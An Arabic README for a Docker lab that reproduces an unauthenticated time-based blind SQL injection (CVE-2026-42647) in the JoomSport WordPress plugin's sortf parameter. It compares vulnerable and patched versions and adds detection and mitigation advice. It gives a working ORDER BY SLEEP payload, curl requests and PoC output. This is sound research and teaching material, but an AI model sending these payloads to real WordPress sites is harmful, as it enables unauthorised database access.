
مختبر قائم على Docker لإعادة إنتاج CVE-2026-42647، وهو حقن SQL أعمى زمني غير مصادق عليه في إضافة JoomSport لووردبريس عبر باراميتر sortf. يتضمن أهدافًا ضعيفة ومصحوبة للمقارنة.
sortfيحتوي هذا المستودع على بيئة مختبر Docker محلية لإعادة إنتاج والتحقق من صحة CVE-2026-42647، وهي ثغرة حقن SQL بدون مصادقة تؤثر على إضافة WordPress JoomSport - للرياضات: الفريق والدوري، كرة القدم، الهوكي، والمزيد.
يحدث السلوك القابل للاختراق في ميزة فرز قائمة اللاعبين. يمكن للزائر العام التحكم في معامل الاستعلام sortf، والذي يُستخدم لبناء جملة SQL ORDER BY. في الإصدارات الضعيفة، يتم تنظيف القيمة كنص وتغليفها بعلامات backticks، ولكن لا يتم التحقق منها مقابل قائمة مسموح بها صارمة قبل إلحاقها باستعلام SQL.
يقارن هذا المختبر إصدارين من JoomSport:
| الخدمة | إصدار JoomSport | الغرض | الرابط |
|---|---|---|---|
vuln | 5.7.6 | هدف المقارنة الضعيف | http://localhost:8081 |
patched | 5.7.8 | هدف المقارنة المُصحَّح | http://localhost:8082 |
تحدد الإشعارات العامة الإصدارات قبل 5.7.8 بأنها متأثرة و5.7.8 كالإصدار المُصحَّح. يستخدم هذا المختبر 5.7.6 كهدف ضعيف لأنه لم يكن هناك علامة مصدر 5.7.7 متاحة في قائمة علامات SVN لإضافة WordPress.org في وقت إعداد هذا المختبر.
سلسلة الثغرات الموضحة هي:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field
هذا المختبر يتحقق من الثغرة على أنها حقن SQL أعمى قائم على الوقت. لا يقوم بتفريغ قاعدة البيانات، استخراج بيانات الاعتماد، تعديل البيانات، أو عمليات SQL تخريبية.
تم تصميم هذا المختبر للبحث المحلي المتحكم فيه، والفهم على مستوى المصدر، والعرض التوضيحي للمحفظة فقط.
## حقائق مؤكدة
| الادعاء | الدليل | كيفية التحقق في هذا المختبر |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| تم الإبلاغ عن أن JoomSport قبل الإصدار 5.7.8 معرض لحقن SQL غير مصادق عليه. | تحدد الإعلانات العامة أن JoomSport `< 5.7.8` / `<= 5.7.7` متأثر. | راجع قسم المراجع وقارن بين الخدمات المعرضة والمصححة. |
| الإصدار 5.7.8 من JoomSport هو الإصدار المُصلح. | تظهر الإعلانات العامة ومقارنة المصدر أن الإصدار 5.7.8 يتحقق من قيمة `sortf` قبل بناء تعبير الترتيب. | افحص `class-jsport-playerlist.php` في كلا الإصدارين. |
| المعامل المتأثر هو `sortf`. | يقرأ كود قائمة اللاعبين المعرض `classJsportRequest::get('sortf')`. | قم بتشغيل PoC ولاحظ طلب `sortf` المحقون. |
| الكود المعرض يبني قيمة ترتيب SQL ديناميكية من إدخال المستخدم. | في الإصدار المعرض، يتم استخدام `sortf` لبناء `$options['ordering']`. | افحص `sportleague/classes/objects/class-jsport-playerlist.php`. |
| مصرف SQL هو جملة `ORDER BY`. | يتم إلحاق قيمة `$ordering` الناتجة لاحقًا في استعلام SQL مع `ORDER BY`. | افحص `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| التصحيح يستخدم إصلاحًا من نمط القائمة البيضاء. | يقدم الإصدار المُصلح أعمدة ثابتة مسموح بها وأنماط حقل ديناميكية متوقعة قبل استخدام حقل الفرز. | قارن بين كود JoomSport 5.7.6 و 5.7.8. |
| يوضح المختبر حقن SQL أعمى قائم على الوقت. | يتأخر الهدف المعرض عند استخدام تعبير `SLEEP()` محقون؛ الهدف المُصلح لا يتأخر. | قم بتشغيل `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |
## الافتراضات والمجهولات
يستخدم هذا المختبر JoomSport 5.7.6 كهدف مقارنة معرض لأن الإصدار المُصلح العام هو 5.7.8 ولم يكن علامة مصدر 5.7.7 متوفرة في قائمة علامات SVN لملحق WordPress.org عند إعداد المختبر.
لا يدعي المختبر أن الإصدار 5.7.6 هو الإصدار المعرض الوحيد. يتم استخدامه كخط أساس معرض قابل للتكرار لمقارنة السلوك المعرض مقابل سلوك 5.7.8 المُصلح.
يركز المختبر على معامل `sortf` في تدفق فرز قائمة اللاعبين.
التأثير الموضح هو حقن SQL أعمى قائم على الوقت. لا يوضح المختبر:
* تفريغ قاعدة البيانات مباشرة،
* استخراج بيانات الاعتماد،
* تجاوز المصادقة،
* تصعيد الامتيازات،
* تعديل البيانات التعسفي،
* تنفيذ التعليمات البرمجية عن بعد،
* الاستمرارية،
* الاستدعاءات الخارجية،
* أو هجمات ضد أنظمة غير مختبرية.
قد يكون السلوك القائم على الأخطاء أو القائم على القيم المنطقية ممكنًا اعتمادًا على سلوك قاعدة البيانات، تكوين التطبيق، واختلافات الاستجابة، لكن هذا المختبر لا يعتمد على تلك التقنيات. الدليل الأساسي هو قائم على التوقيت.
## ملخص السبب الجذري
السبب الجذري هو بناء غير آمن لجملة `ORDER BY` SQL ديناميكية من معامل الطلب `sortf`.
يبدأ مسار الكود المعرض في:```text
sportleague/classes/objects/class-jsport-playerlist.php
داخل منطق تحميل قائمة اللاعبين، يقرأ JoomSport معامل الطلب:```text sortf
ويستخدمه لبناء:```text
$options['ordering']
نمط المصدر الضعيف ذو الصلة هو:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
المشكلة ليست في المقام الأول في المعامل `sortd`. قيمة `sortd` مقيدة بـ:```text
ASC
DESC
المشكلة هي معامل sortf لأنه يتحكم في موضع معرف/تعبير SQL المستخدم للترتيب.
التعبير الخطير هو:```php
"".classJsportRequest::get('sortf').""
يقوم الكود بوضع إدخال يتحكم فيه المهاجم داخل سياق معرف MySQL ثم يمرره إلى الأمام كجزء من ترتيب SQL.
يطبق الكود:```php
sanitize_text_field()
لكن sanitize_text_field() ليس تحققًا من معرفات SQL. إنه مصمم لتنظيف النص، وليس لبناء جملة SQL بأمان.
كما أن الكود الضعيف يحيط حقل الفرز الذي يتحكم به المستخدم بعلامات التنصيص الخلفية (backticks). ومع ذلك، فإن علامات التنصيص الخلفية ليست حدودًا أمنية عندما يتمكن المهاجم من التأثير على محتوى المعرف. إذا تمكن المهاجم من حقن علامة تنصيص خلفية في القيمة، فيمكنه الخروج من سياق المعرف المقصود.
يتم تمرير قيمة الترتيب المُنشأة لاحقًا إلى استعلام استرجاع اللاعب وتُلحق في جملة SQL ORDER BY في:```text
sportleague/base/wordpress/classes/class-jsport-getplayers.php
نمط المصب هو:```php
$query .= ' ORDER BY '.($ordering);
هذا ينشئ تدفق البيانات الضعيف:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY
المشكلة الأمنية هي أن التطبيق يعامل معامل طلب يتحكم فيه المستخدم كمحدد/تعبير SQL دون التحقق منه أولاً مقابل قائمة مسموح بها صارمة.
## ملخص التصحيح المصدر
التصحيح ذو الصلة موجود في:```text
sportleague/classes/objects/class-jsport-playerlist.php
في الإصدار الضعيف، يقوم كود قائمة اللاعبين ببناء $options['ordering'] مباشرة من قيمة الطلب:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
الجزء المعرض للخطر هو أن `classJsportRequest::get('sortf')` يُستخدم داخل تعبير ترتيب SQL.
يقوم JoomSport 5.7.8 بتغيير هذا السلوك عن طريق تقديم متغير حقل فرز تم التحقق منه قبل بناء `$options['ordering']`.
الإصدار المُصحَّح يهيئ قيمة افتراضية آمنة:```php
$sortFieldEsc = 'post_title';
ثم يحدد أعمدة الفرز الثابتة المسموح بها:```php $sortCols = array("played", "career_minutes", "post_title");
عندما يكون `sortf` موجودًا، فإن الكود المصحح لا يقبله إلا إذا تطابق مع إحدى القيم الثابتة المتوقعة:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
يسمح التصحيح أيضًا بتنسيقات الحقول الديناميكية المتوقعة للحدث/الإحصاء:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
التغيير النهائي المتعلق بالأمان هو أن `$options['ordering']` يتم بناؤه من `$sortFieldEsc` بدلاً من القيمة الخام للطلب `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
هذا لا يزيل الفرز الديناميكي. إنه يغير حدود الثقة.
قبل التصحيح:```text request sortf value directly controlled the ORDER BY identifier
بعد التصحيح:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
إذا أرسل المهاجم قيمة غير متوقعة مثل:```text post_title`DESC,(SLEEP(2))#
الكود الذي تم تصحيحه لا يعيّن تلك القيمة إلى `$sortFieldEsc`.
بدلاً من ذلك، يعود حقل الفرز إلى:```text
post_title
ولهذا السبب، تتأخر الخدمة الضعيفة، بينما تبقى الخدمة المصححة قريبة من التوقيت الأساسي.
الدرس الأمني المستفاد من التصحيح هو:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
## بنية المختبر
يدير المختبر تثبيتين منفصلتين لـ WordPress من خلال Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── init-wordpress.sh
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
خدمتا ووردبريس تعملان بقاعدتي بيانات منفصلتين وإصدارات إضافات منفصلة:
الخدمات المكشوفة افتراضياً:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
عملية الإعداد تنشئ الحد الأدنى من بيانات JoomSport المطلوبة لعرض مسار قائمة اللاعبين:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
تستخدم الخدمات المعرضة للخطر والمصححة نفس شكل بيانات المختبر بحيث يمكن مقارنة سلوك التوقيت بشكل عادل.
requests لتشغيل PoC من المضيفقم بتثبيت تبعية Python على المضيف إذا لزم الأمر:
pip install requests```bash python3 -m pip install requests
## بداية سريعة
ابدأ المختبر:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
راقب حاويات الإعداد:```bash docker compose logs -f setup-vuln setup-patched
رسائل إكمال الإعداد المتوقعة:```text
[VULN] setup complete
[PATCHED] setup complete
تحقق من حالة الحاوية:```bash docker compose ps
الخدمات المكشوفة المتوقعة:```text
http://localhost:8081
http://localhost:8082
قم بتشغيل PoC ضد الهدف الضعيف:```bash python3 poc/poc.py http://localhost:8081
شغِّل الـ PoC ضد الهدف المُصحَّح:```bash
python3 poc/poc.py http://localhost:8082
تشغيل الـ PoC ضد كلا الهدفين في أمر واحد:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
للحصول على إحصائيات توقيت أكثر استقرارًا، قم بزيادة عدد الجولات:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
يمكنك أيضًا ضبط وقت السكون المطلوب:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
## استخدام الـ PoC
يتحقق الـ PoC من كل هدف بشكل مستقل.
لم يعد يتطلب خيارات `--vuln-url` أو `--patched-url` منفصلة. بدلاً من ذلك، قم بتمرير واحد أو أكثر من عناوين URL الهدف كوسائط موضعية:```bash
python3 poc/poc.py <target_url> [target_url...]
أمثلة:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082
إذا لم يتم توفير عنوان URL مستهدف، فإن البرنامج النصي يطلب واحدًا أو أكثر من عناوين URL المستهدفة المحلية بشكل تفاعلي.
الخيارات المدعومة:```text
--season-id Seeded JoomSport season post ID. Default: 4
--rounds Number of requests per baseline/injected series. Default: 3
--sleep SLEEP() seconds used in the timing payload. Default: 2
إن الـ PoC مخصص للنطاق المحلي عن قصد. يقبل أهدافًا من نمط localhost مثل:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
يرفض الـ PoC الأهداف غير المحلية افتراضياً.
## كيف يقرر الـ PoC
لكل هدف، يقوم الـ PoC بتنفيذ سلسلتين زمنيتين:```text
[1/2] Baseline timing
[2/2] Injected timing
يستخدم الطلب الأساسي حقل فرز عادي:```text sortf=post_title
يستخدم الطلب المحقون حمولة توقيت محلية فقط في معامل `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#
يحسب PoC:```text delta = injected median - baseline median
ثم يصنف الهدف:
| الحكم | المعنى |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | الطلب المحقون أبطأ بشكل ملحوظ من خط الأساس. |
| `PATCHED-LIKE` | الطلب المحقون يظل قريبًا من خط الأساس. |
| `UNREACHABLE` | تعذر الوصول إلى الهدف. |
| `INCONCLUSIVE` | بعض بيانات التوقيت كانت مفقودة أو غير مكتملة. |
قاعدة القرار الافتراضية:```text
injected median - baseline median >= 60% of requested SLEEP()
بالنسبة للـ --sleep 2 الافتراضي، تكون العتبة:```text
1.200s median delta
هذا يعني أنه يتم الإبلاغ عن الهدف فقط على أنه `VULNERABLE-LIKE` عندما يكون الطلب المحقون أبطأ بشكل واضح من خط الأساس الخاص به.
لا يتم احتساب الأهداف غير القابلة للوصول أو غير الحاسمة على أنها مصححة.
## الاستنساخ اليدوي لـ HTTP باستخدام curl
يمكنك استنساخ التحقق يدويًا دون استخدام PoC بايثون.
طلب خط الأساس الضعيف:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
الطلب المُحقن الضعيف:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
طلب خط الأساس المُصحَّح:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
طلب محقون مُصحح:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
المقارنة المتوقعة:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched -> injected request stays near baseline timing
الأمر:```bash python3 poc/poc.py http://localhost:8081
الإشارة المعرضة للخطر المتوقعة:```text
CVE-2026-42647 JoomSport local timing validation
Scope : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic : baseline timing vs injected timing per target
Targets : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta
================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing
run 01: status=200 time=0.092s bytes=75333
run 02: status=200 time=0.044s bytes=75333
run 03: status=200 time=0.046s bytes=75333
summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
summary status=200x3 bytes=75333
[2/2] Injected timing
run 01: status=200 time=6.050s bytes=75321
run 02: status=200 time=6.058s bytes=75321
run 03: status=200 time=6.095s bytes=75321
summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
summary status=200x3 bytes=75321
Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta : 6.011s
Ratio : 130.8x
Threshold : 1.200s
Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### الهدف المصحح
الأمر:```bash
python3 poc/poc.py http://localhost:8082
Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
### أهداف متعددة
الأمر:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
النتيجة المتوقعة:```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### هدف لا يمكن الوصول إليه
إذا لم يكن الهدف قيد التشغيل، يجب أن يُبلغ الـ PoC بـ `UNREACHABLE`، وليس `PATCHED-LIKE`.
مثال:```bash
python3 poc/poc.py http://localhost:8083
القرار المتوقع:```text Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
الأهداف غير القابلة للوصول لا تُحتسب ضمن ما تم تصحيحه.
## كيفية عمل إثبات المفهوم
يقوم إثبات المفهوم باستكشاف مسار قائمة اللاعبين في JoomSport للحصول على منشور موسم مُلقح.
المسار المستهدف يعادل:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC
يستخدم الطلب الأساسي:```text sortf=post_title
يجب أن ينتج عن ذلك ترتيب عادي لقائمة اللاعبين.
الطلب المُحقن يستخدم:```text
sortf=post_title`DESC,(SLEEP(2))#
الكود المعرّض للخطر يحيط sortf بعلامات backticks ويُرفق اتجاه فرز. القيمة المُحقونة مصممة للخروج من سياق المعرف المقصود وإدخال تعبير توقيت في جملة ORDER BY.
من الناحية المفاهيمية، يصبح جزء SQL المعرّض للخطر مشابهًا لـ:
ORDER BY `post_title` DESC, (SLEEP(2))
```
علامة التعليق `#` تمنع العلامة الخلفية الختامية والاتجاه من التداخل مع التعبير المحقون.
هذه ليست حمولة استعلام متراكمة. لا تحقن:```sql
; SELECT SLEEP(2);
```
بدلاً من ذلك، يقوم بحقن تعبير SQL داخل سياق `ORDER BY` الموجود.
الإصدار المُصحح لا ينفذ التعبير المُحقن لأن قيمة `sortf` تُفحص مقابل حقول الفرز المسموح بها وتُرجِع إلى `post_title` عندما تكون القيمة غير متوقعة.
## التأثير
توضح هذه الممارسة حقن SQL أعمى قائم على الوقت دون مصادقة في معلمة `sortf` لقائمة اللاعبين في JoomSport.
الإصدار الضعيف ينفذ تعبير توقيت SQL مُحقن من خلال جملة `ORDER BY`، مما ينتج تأخيرًا واضحًا في الاستجابة. الإصدار المُصحح لا يؤخر لأن حقل الفرز المُحقن مرفوض ويُستبدل بقيمة مسموح بها آمنة من القائمة البيضاء.
تُثبت الممارسة تنفيذ SQL قائم على الوقت فقط. لا توضح استخراج البيانات، أو تعديل البيانات، أو تجاوز المصادقة، أو تصعيد الامتيازات، أو تنفيذ التعليمات البرمجية عن بُعد.
## الكشف والمراقبة
تشمل المؤشرات المحتملة الطلبات المباشرة إلى مسارات قائمة اللاعبين في JoomSport بقيم `sortf` غير عادية.
مثال على نمط الطلب المشبوه:```text
GET /?post_type=joomsport_season&p=<id>&action=playerlist&sortf=<unexpected_value>&sortd=ASC
```
خصائص `sortf` المشبوهة:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
```
مثال لطلب مختبر محلي:```text
sortf=post_title`DESC,(SLEEP(2))#
```
الإشارة المتوقعة القابلة للاستغلال:```text
HTTP 200 response with significant timing delay
```
الإشارة المتوقعة بعد التصحيح:```text
HTTP 200 response without significant timing delay
```
أفكار مراقبة الإنتاج المحتملة:
* مراجعة سجلات الويب للبحث عن قيم `sortf` غير عادية.
* التنبيه على كلمات SQL الأساسية أو علامات التعليقات داخل معاملات الفرز.
* مراقبة الطلبات المتكررة إلى مسارات قائمة اللاعبين في JoomSport مع تغييرات طفيفة في المعاملات.
* مراقبة استعلامات قاعدة البيانات البطيئة التي تتضمن جداول قائمة اللاعبين في JoomSport.
* الربط بين الطلبات البطيئة وحركة المرور العامة غير المصادق عليها.
* مراجعة ما إذا كان JoomSport مثبتًا وما إذا كان إصداره أقدم من 5.7.8.
## ملاحظات التخفيف والتصحيح
قم بترقية JoomSport إلى الإصدار 5.7.8 أو أحدث.
الإصدار المُصحّح يقيد معامل `sortf` بحقول الفرز المتوقعة وأنماط الحقول الديناميكية. القيم غير المتوقعة تعود إلى حقل فرز افتراضي آمن.
إرشادات التخفيف على مستوى التطبيق:
* قم بترقية إضافة JoomSport.
* لا تعرض الإصدارات القديمة من الإضافات على مواقع WordPress العامة.
* راجع سجلات الويب للبحث عن معاملات `sortf` مشبوهة.
* قم بتعطيل أو تقييد الوظائف المتأثرة فقط كحل تخفيف مؤقت إذا كانت الترقية الفورية غير ممكنة.
* استخدم قاعدة جدار حماية تطبيقات الويب كطبقة مؤقتة، وليس كبديل للتصحيح.
* تعامل مع معرفات SQL الديناميكية بشكل مختلف عن القيم العادية: استخدم قوائم السماح لأسماء الأعمدة، وأسماء الجداول، واتجاهات الفرز، ومكونات بناء جملة SQL المماثلة.
التحكم الأهم هو قائمة السماح. الهروب وحده ليس حلاً كاملاً لمعرفات SQL الديناميكية.
## أوامر التحقق المفيدة
تحقق من الحاويات قيد التشغيل:```bash
docker compose ps
```
مشاهدة سجلات الإعداد:```bash
docker compose logs -f setup-vuln setup-patched
```
التحقق من خدمات ووردبريس:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082
```
قم بتشغيل PoC ضد الخدمة الضعيفة:```bash
python3 poc/poc.py http://localhost:8081
```
شغّل الـ PoC ضد الخدمة المُصحَّحة:```bash
python3 poc/poc.py http://localhost:8082
```
قم بتشغيل PoC ضد كلتا الخدمتين:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
```
قم بتشغيل PoC مع المزيد من الجولات:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
```
حفظ الأدلة:```bash
mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5 \
| tee evidence/timing-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
> evidence/docker-compose-logs.txt
```
التحقق من إصدارات الإضافات داخل ووردبريس:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
```
افحص المصدر الضعيف:```bash
docker compose exec -T vuln sh -lc \
"grep -R \"sortf\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
```
افحص المصدر المصحح:```bash
docker compose exec -T patched sh -lc \
"grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
```
تفقد مصدر SQL:```bash
docker compose exec -T vuln sh -lc \
"grep -R \"ORDER BY\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
```
## التنظيف
أوقف وأزل الحاويات والشبكات:```bash
docker compose down --remove-orphans
```
قم بإزالة الحاويات والشبكات ووحدات التخزين:```bash
docker compose down -v --remove-orphans
```
إزالة ملفات الأدلة إذا تم إنشاؤها:```bash
rm -rf evidence/
```
## حدود الأمان
هذا المختبر مخصص للبحث الأمني المحلي والعرض التوضيحي المتحكم به فقط.
لا تقم بتشغيل إثبات المفهوم أو الحمولات ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
لا تستخدم بيانات اعتماد حقيقية أو أسرار إنتاجية أو أهداف خارجية في هذا المختبر.
إثبات المفهوم محدد بشكل متعمد لخدمات Docker المحلية مثل:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```
لا يتضمن الإثبات المفاهيمي (PoC) حمولات لتفريغ قواعد البيانات، أو سرقة بيانات الاعتماد، أو تعديل البيانات، أو الثبات، أو الحركة الجانبية، أو عمليات الاسترجاع الخارجية.
الهدف هو إظهار حالة تقنية محددة واحدة في بيئة خاضعة للرقابة:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version
```
## المراجع
* إشعار Wordfence: JoomSport <= 5.7.7 - حقن SQL غير مصادق عليه عبر معامل `sortf`
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
* إشعار Wordfence: JoomSport - للرياضات: الفريق والدوري، كرة القدم، الهوكي والمزيد <= 5.7.7 - حقن SQL غير مصادق عليه
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
* قاعدة بيانات ثغرات الإضافات WPScan: JoomSport
https://wpscan.com/plugin/joomsport-sports-league-results-management/
* إضافة WordPress.org: JoomSport - للرياضات: الفريق والدوري، كرة القدم، الهوكي والمزيد
https://wordpress.org/plugins/joomsport-sports-league-results-management/
* SVN إضافة WordPress.org
https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
* وسوم SVN إضافة WordPress.org
https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
* دليل اختبار أمان الويب من OWASP: اختبار حقن SQL
https://owasp.org/www-project-web-security-testing-guide/
* سلسلة أوراق الغش من OWASP: الوقاية من حقن SQL
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
| الخدمة | المكون | الإصدار/الدور |
|---|
vuln | ووردبريس + جومسبورت | JoomSport 5.7.6 |
patched | ووردبريس + جومسبورت | JoomSport 5.7.8 |
db-vuln | MariaDB | قاعدة بيانات للهدف الضعيف |
db-patched | MariaDB | قاعدة بيانات للهدف المُصَحَّح |
setup-vuln | خدمة تهيئة WP-CLI | تثبيت ووردبريس وتهيئة الهدف الضعيف |
setup-patched | خدمة تهيئة WP-CLI | تثبيت ووردبريس وتهيئة الهدف المُصَحَّح |